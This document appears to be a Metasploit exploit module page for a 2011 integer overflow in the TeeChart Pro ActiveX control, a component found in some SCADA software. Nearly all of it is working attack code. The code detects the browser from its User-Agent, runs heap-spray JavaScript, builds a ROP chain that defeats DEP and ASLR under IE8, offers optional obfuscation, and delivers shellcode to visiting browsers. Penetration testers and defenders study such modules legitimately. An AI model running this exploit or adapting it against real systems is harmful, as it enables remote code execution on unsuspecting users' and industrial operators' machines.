rapid7/metasploit-framework

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modules/exploits/windows/browser/teechart_pro.rb

Summary

Maintainability
C
1 day
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super( update_info(info,
      'Name'           => 'TeeChart Professional ActiveX Control Trusted Integer Dereference',
      'Description'    => %q{
          This module exploits an integer overflow in TeeChart Pro ActiveX control. When
        sending an overly large/negative integer value to the AddSeries() property of
        TeeChart2010.ocx, the code will perform an arithmetic operation that wraps the
        value and is later directly trusted and called upon.

        This module has been designed to bypass DEP only under IE8 with Java support. Multiple
        versions (including the latest version) are affected by this vulnerability that date
        back to as far as 2001.

        The following controls are vulnerable:

        TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4);
        TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD);
        TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E);
        TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196);
        TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258).

        The controls are deployed under several SCADA based systems including:

        Unitronics OPC server v1.3;
        BACnet Operator Workstation Version 1.0.76
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          # twitter.com/net__ninja
          'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery/msf module
          'sinn3r', #Auto target, obfuscation, lots of testing
        ],
      'References'     =>
        [
          [ 'OSVDB', '74446'],
          [ 'URL', 'http://www.stratsec.net/Research/Advisories/TeeChart-Professional-Integer-Overflow'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          # For exploitation we need to calculate a value for EDX:
          # <target address> - EAX / 4 = address to place in edx via signed integar
          # 0x0c0c0c0c - 0x023FB8F4 = 0x09CC5318 / 4 = 0x027314C6 = decimal: 41096390
          [
            'Windows XP SP0-SP3 (IE6/IE7)',
            {
              'Ret' => 0x027314C6
            }
          ],
          # Windows XP target + IE8 + JAVA = ASLR/DEP Bypass
          # 0x09442020- 0x0326B8F4 = 61D672C/4 = 18759CB
          [
            'Windows XP SP0-SP3 + JAVA + DEP bypass (IE8)',
            {
              'Ret' => 0x014E59CB,
              # 0x09442020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x09441FF8
              # get back to the 2nd of rop.
              'Pivot' => 0x09441FF8
            }
          ],
          # Windows 7 target + IE8 + JAVA = ASLR/DEP Bypass
          # 0x16672020 - 0x040AB8F4/4 =  0x049719CB
          [
            'Windows 7 + JAVA + DEP bypass (IE8)',
            {
              'Ret' => 0x049719CB,
              # 0x16672020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x16671FF8
              # get back to the 2nd of rop.
              'Pivot' => 0x16671FF8
            }
          ]
        ],
      'DisclosureDate' => '2011-08-11',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
      ])
  end

  def junk
    return rand_text_alpha(4).unpack("L")[0].to_i
  end

  def on_request_uri(cli, request)
    #Set target manually or automatically
    my_target = target
    if my_target.name == 'Automatic'
      agent = request.headers['User-Agent']
      if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
        my_target = targets[1]
      elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
        my_target = targets[1]
      elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
        my_target = targets[2]
      elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
        my_target = targets[3]
      end
    end

    vprint_status("Target selected: #{my_target.name}")

    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # align stack
    retn = Rex::Text.to_unescape([0x7C3410C4].pack('V*'))
    pop_pop_retn = Rex::Text.to_unescape([0x7C3410C2].pack('V*'))

    # shellcode
    sc = Rex::Text.to_unescape(p.encoded)

    # Randomize object name
    obj_name  = rand_text_alpha(rand(100) + 1)
    main_sym  = 'main' #main function name

    randnop = rand_text_alpha(rand(100) + 1)

    if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
      js = <<-EOS
var sc = unescape('#{sc}');

var #{randnop} = "%u0c0c%u0c0c";
var nops = unescape(#{randnop});
var offset = 20;
var s = offset + sc.length;
while(nops.length < s) {
  nops += nops;
}
var chunk1 = nops.substring(0, s);
var chunk2 = nops.substring(0, nops.length - s);
while((chunk2.length + s) < 0x50000) {
  chunk2 = chunk2 + chunk2 + chunk1;
}
var blocks = new Array();
for(var counter=0; counter<200; counter++){
  blocks[counter] = chunk2 + sc;
}

function main()
{
  #{obj_name}.AddSeries(#{my_target.ret});
}
EOS
    end

    #http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf
    if my_target.name =~ /IE8/
      # thanks to corelanc0d3r & mona.py :^) for the universal aslr/dep bypass (msvcr71.dll)
      # https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
      rop_gadgets = [
        my_target['Pivot'],# Pivot back EAX for ESP control
        0x7C342643,  # XCHG EAX,ESP; POP EDI; ; ADD BYTE PTR DS:[EAX],AL; POP ECX; RETN
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x7c37a140,  # Make EAX readable
        0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
        0x41414141,  # EBP (filler)
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x7c37a140,  # <- *&VirtualProtect()
        0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
        0x7c346c0b,  # Slide, so next gadget would write to correct stack location
        0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
        0x41414141,  # EDI (filler)
        0x41414141,  # will be patched at runtime (VP), then picked up into ESI
        0x41414141,  # EBX (filler)
        0x7c376402,  # POP EBP # RETN (msvcr71.dll)
        0x7c345c30,  # ptr to 'push esp #  ret ' (from MSVCR71.dll)
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0xfffffdff,  # size 0x00000201 -> ebx, modify if needed
        0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
        0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
        0xffffffff,  # pop value into ebx
        0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
        0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
        0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
        0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
        0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
        0x7c34b8d8,  # ROP NOP (-> edi)
        0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
        0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
        0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x90909090,  # NOPS (-> eax)
        0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
      ].pack('V*')

      rop = Rex::Text.to_unescape(rop_gadgets)

      custom_js = <<-EOF
      function heapspray(){
        var heapLib = new heapLib.ie(0x20000);
        var payload = unescape('#{rop}');
        payload += unescape('#{sc}');
        while(payload.length <= 0xffc) payload += unescape('#{retn}')
        while(payload.length < 0x1000) payload += unescape('#{pop_pop_retn}')
        var data = payload;
        while(data.length < 0x40000) data += data;
        var block = data.substring(2, 0x40000 - 0x21);
        for(var i = 0; i < 0x400; i++) {
          heapLib.alloc(block);
        }
      }

      function main(){
        heapspray();
        #{obj_name}.AddSeries(#{my_target.ret});
      }
      EOF

      js = heaplib(custom_js)

      #JS obfuscation on demand
      if datastore['OBFUSCATE']
        js = ::Rex::Exploitation::JSObfu.new(js)
        js.obfuscate(memory_sensitive: true)
        main_sym = js.sym('main')
      end
    end

    content = <<-EOF
    <object classid='clsid:FCB4B50A-E3F1-4174-BD18-54C3B3287258' id='#{obj_name}' ></object>
    <script language='JavaScript' defer>
    #{js}
    </script>
    <body onload="#{main_sym}();">
    <body>
    </html>
    EOF


    print_status("Sending #{self.name}")

    #Remove the extra tabs from content
    content = content.gsub(/^ {4}/, '')

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end